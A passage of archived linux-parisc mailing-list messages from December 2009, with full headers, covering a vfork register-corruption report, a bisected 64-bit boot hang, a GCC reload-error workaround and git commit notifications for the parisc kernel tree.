X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 22:21:59 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 23:21:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKfm3-0003Qx-PO
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 23:21:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755742AbZLOWVn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 17:21:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761382AbZLOWVm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 17:21:42 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2892 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755742AbZLOWVl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 17:21:41 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E6CD84ED7; Tue, 15 Dec 2009 17:21:18 -0500 (EST)
In-Reply-To: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com> from "Carlos O'Donell" at Dec 6, 2009 04:19:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2426
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2426>

> I have constructed a vfork test case which shows some of the problems
> I have using vfork reliably. This fails every time on my PA8700 system
> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
> being corrupted.

The test doesn't fail on two of my builds:
Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc

Are you running a SMP config?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Tue, 15 Dec 2009 22:37:04 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20091216033704.GI28962@bombadil.infradead.org>
References: <20091204172838.GA4551@raptus.dandreoli.com> <4B1959E2.1030700@gmx.de> <20091205083511.GA6559@raptus.dandreoli.com> <20091207234404.GA5083@raptus.dandreoli.com> <20091209235038.GA12806@raptus.dandreoli.com> <20091215202547.GA18193@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260934635 26927 80.91.229.12 (16 Dec 2009 03:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 03:37:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 04:37:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKkhI-0002lN-3c
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 04:37:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754052AbZLPDhG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 22:37:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760937AbZLPDhG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 22:37:06 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49788 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754052AbZLPDhF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 22:37:05 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NKkhE-0003M1-Qi
	for linux-parisc@vger.kernel.org; Wed, 16 Dec 2009 03:37:04 +0000
Content-Disposition: inline
In-Reply-To: <20091215202547.GA18193@raptus.dandreoli.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2427
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2427>

On Tue, Dec 15, 2009 at 09:25:47PM +0100, Domenico Andreoli wrote:
> (as did 2.6.22). after it, it hangs at "Releasing cpu 1 now,
> hpa=fffffffffffa2000" but CONFIG_DEBUG_SPINLOCK is _not_ set, the
> opposite i reported in this thread at 64bit and consistently with
> current 2.6.32 at 32bit.
> 
> i'm pretty confused by the whole thing but i'm sure about this bisection,
> i double-checked it. here is the diff.
> 

thanks for bisecting it. i'll take a look unless you beat me to it.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Tue, 15 Dec 2009 22:37:28 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20091216033728.GJ28962@bombadil.infradead.org>
References: <20091207223548.GA4515@raptus.dandreoli.com> <20091208012627.1D22C4FE3@hiauly1.hia.nrc.ca> <20091208030114.GA12872@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260934662 26972 80.91.229.12 (16 Dec 2009 03:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 03:37:42 +0000 (UTC)
Cc: Domenico Andreoli <cavokz@gmail.com>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 04:37:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKkhf-0002sY-VM
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 04:37:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761497AbZLPDhb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 22:37:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761508AbZLPDhb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 22:37:31 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42268 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761497AbZLPDha (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 22:37:30 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NKkhd-0003Mh-2V; Wed, 16 Dec 2009 03:37:29 +0000
Content-Disposition: inline
In-Reply-To: <20091208030114.GA12872@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2428>

On Mon, Dec 07, 2009 at 10:01:14PM -0500, John David Anglin wrote:
> On Mon, 07 Dec 2009, John David Anglin wrote:
> 
> > > is anybody able to reproduce it? configuration is attached.
> 
> With your config, I get the same error.
> 
> I have attached a potential work around.  The basic idea is to force
> 'a' to a specific register to avoid the spill problem in reload.
> It may be a bit risky to use 'r20' but there don't appear to be
> any real calls in __raw_spin_is_locked.
> 

Do you want this patch applied to 2.6.32-rc1, John?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Wed, 16 Dec 2009 03:49:25 +0000
Lines: 100
Approved: news@gmane.org
Message-ID: <200912160349.nBG3nPeK031725@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260935375 28352 80.91.229.12 (16 Dec 2009 03:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 03:49:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 04:49:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKktD-0006BV-GN
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 04:49:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751740AbZLPDt1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 22:49:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752108AbZLPDt0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 22:49:26 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:47567 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751740AbZLPDtZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 22:49:25 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nBG3nP1i031728
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2009 03:49:25 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nBG3nPeK031725
	for linux-parisc@vger.kernel.org; Wed, 16 Dec 2009 03:49:25 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-1.8 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2429>

Rebased ref, commits from common ancestor:
commit d0608b54740c82b08056b7611e38a3fd73be3564
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Tue Nov 17 22:50:59 2009 +0000

    parisc: Fixup last users of irq_chip->typename
    
    The typename member of struct irq_chip was kept for migration purposes
    and is obsolete since more than 2 years. Fix up the leftovers.
    
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 217bfb5190813d97e6003f7692f8014655ffc02a
Author: Alexey Dobriyan <adobriyan@gmail.com>
Date:   Fri Nov 27 06:51:12 2009 +0000

    parisc: convert /proc/pdc/{lcd,led} to seq_file
    
    Convert code away from ->read_proc/->write_proc interfaces.
    Switch to proc_create()/proc_create_data() which make addition of
    proc entries reliable wrt NULL ->proc_fops, NULL ->data and so on.
    
    Problem with ->read_proc et al is described here
    commit 786d7e1612f0b0adb6046f19b906609e4fe8b1ba
    "Fix rmmod/read/write races in /proc entries"
    
    Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
    Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 05920797ca4c55b3c0629bc0eeb6fe634c196952
Author: David Daney <ddaney@caviumnetworks.com>
Date:   Thu Dec 10 17:28:18 2009 +0000

    parisc: Convert BUG() to use unreachable()
    
    Use the new unreachable() macro instead of for(;;);
    
    Signed-off-by: David Daney <ddaney@caviumnetworks.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 6ad6c4245e4ed0b88f5ee379c04c834b52b272a6
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Fri Nov 6 22:41:51 2009 +0000

    parisc: Replace old style lock init in smp.c
    
    SPIN_LOCK_UNLOCKED is deprecated. Init the per cpu locks at runtime
    instead.
    
    (Also kills the unused smp_lock --kyle)
    
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 8f78df872d463ac43315916663b3e688ebb2422f
Author: Helge Deller <deller@gmx.de>
Date:   Fri Nov 6 23:07:42 2009 +0000

    parisc: use sort() instead of home-made implementation (v2)
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Randolph Chung <tausq@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 11e178091f6a9c5ca479f8a276b9dd0dfacf8fc4
Author: Helge Deller <deller@gmx.de>
Date:   Sun Oct 25 21:48:36 2009 +0000

    parisc: add CALLER_ADDR{0-6} macros
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit b29f90379eb5def21ca3fdf576079c285b815e6a
Author: Helge Deller <deller@gmx.de>
Date:   Sat Oct 10 11:01:30 2009 +0000

    parisc: remove unused IRQSTAT_SIRQ_PEND and IRQSTAT_SZ defines
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 5aea0fac0fb295b0f2528cd03f93541bcd5c78e3
Author: Huang Weiyi <weiyi.huang@gmail.com>
Date:   Sat Oct 10 06:56:45 2009 +0000

    parisc: remove duplicated #include
    
    Remove duplicated #include('s) in
      arch/parisc/kernel/signal.c
    
    Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Tue, 15 Dec 2009 23:16:30 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <20091216041631.202E24EF2@hiauly1.hia.nrc.ca>
References: <20091216033728.GJ28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260937002 31606 80.91.229.12 (16 Dec 2009 04:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 04:16:42 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, cavokz@gmail.com,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 05:16:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKlJS-0004jM-8r
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 05:16:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756349AbZLPEQd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 23:16:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758156AbZLPEQd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 23:16:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2926 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756349AbZLPEQd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 23:16:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 202E24EF2; Tue, 15 Dec 2009 23:16:30 -0500 (EST)
In-Reply-To: <20091216033728.GJ28962@bombadil.infradead.org> from "Kyle McMartin" at Dec 15, 2009 10:37:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2430>

> On Mon, Dec 07, 2009 at 10:01:14PM -0500, John David Anglin wrote:
> > On Mon, 07 Dec 2009, John David Anglin wrote:
> > 
> > > > is anybody able to reproduce it? configuration is attached.
> > 
> > With your config, I get the same error.
> > 
> > I have attached a potential work around.  The basic idea is to force
> > 'a' to a specific register to avoid the spill problem in reload.
> > It may be a bit risky to use 'r20' but there don't appear to be
> > any real calls in __raw_spin_is_locked.
> > 
> 
> Do you want this patch applied to 2.6.32-rc1, John?

Yes, I think it's a reasonable work around.  I did check that it
resolves the kernel build error.

There is a GCC PR on this issue, but fixing the problem isn't easy.  See
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=35193

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Wed, 16 Dec 2009 04:18:03 +0000
Lines: 6
Approved: news@gmane.org
Message-ID: <200912160418.nBG4I3Bg006007@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260937097 31806 80.91.229.12 (16 Dec 2009 04:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 04:18:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 05:18:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKlKz-00058x-KE
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 05:18:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758156AbZLPESI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 23:18:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758430AbZLPESI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 23:18:08 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:55291 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758156AbZLPESE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 23:18:04 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nBG4I3ID006014
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2009 04:18:03 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nBG4I3Bg006007
	for linux-parisc@vger.kernel.org; Wed, 16 Dec 2009 04:18:03 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-1.8 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2431>

Rebased ref, commits from common ancestor:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Tue, 15 Dec 2009 23:21:51 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <20091216042152.93A0B4ED7@hiauly1.hia.nrc.ca>
References: <20091216033704.GI28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260937327 32241 80.91.229.12 (16 Dec 2009 04:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 04:22:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 05:21:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKlOd-00062G-TA
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 05:21:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758430AbZLPEVz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 23:21:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760065AbZLPEVz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 23:21:55 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2930 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758430AbZLPEVz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 23:21:55 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 93A0B4ED7; Tue, 15 Dec 2009 23:21:51 -0500 (EST)
In-Reply-To: <20091216033704.GI28962@bombadil.infradead.org> from "Kyle McMartin" at Dec 15, 2009 10:37:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2432>

> On Tue, Dec 15, 2009 at 09:25:47PM +0100, Domenico Andreoli wrote:
> > (as did 2.6.22). after it, it hangs at "Releasing cpu 1 now,
> > hpa=fffffffffffa2000" but CONFIG_DEBUG_SPINLOCK is _not_ set, the
> > opposite i reported in this thread at 64bit and consistently with
> > current 2.6.32 at 32bit.
> > 
> > i'm pretty confused by the whole thing but i'm sure about this bisection,
> > i double-checked it. here is the diff.
> > 
> 
> thanks for bisecting it. i'll take a look unless you beat me to it.

The removal of this change caused similar problems on a couple of
other targets.  It's a bit strange since this change was only installed
for a brief time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] parisc pull request for 2.6.33
Date: Wed, 16 Dec 2009 04:27:38 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <20091216042738.GA9104@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260937677 368 80.91.229.12 (16 Dec 2009 04:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2009 04:27:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 05:27:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKlUH-0007LL-QZ
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Dec 2009 05:27:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760999AbZLPE1p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 23:27:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761049AbZLPE1p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 23:27:45 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:47280 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760999AbZLPE1n (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 23:27:43 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nBG4Rcvr017055
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 16 Dec 2009 04:27:39 GMT
Original-Received: (from kyle@localhost)
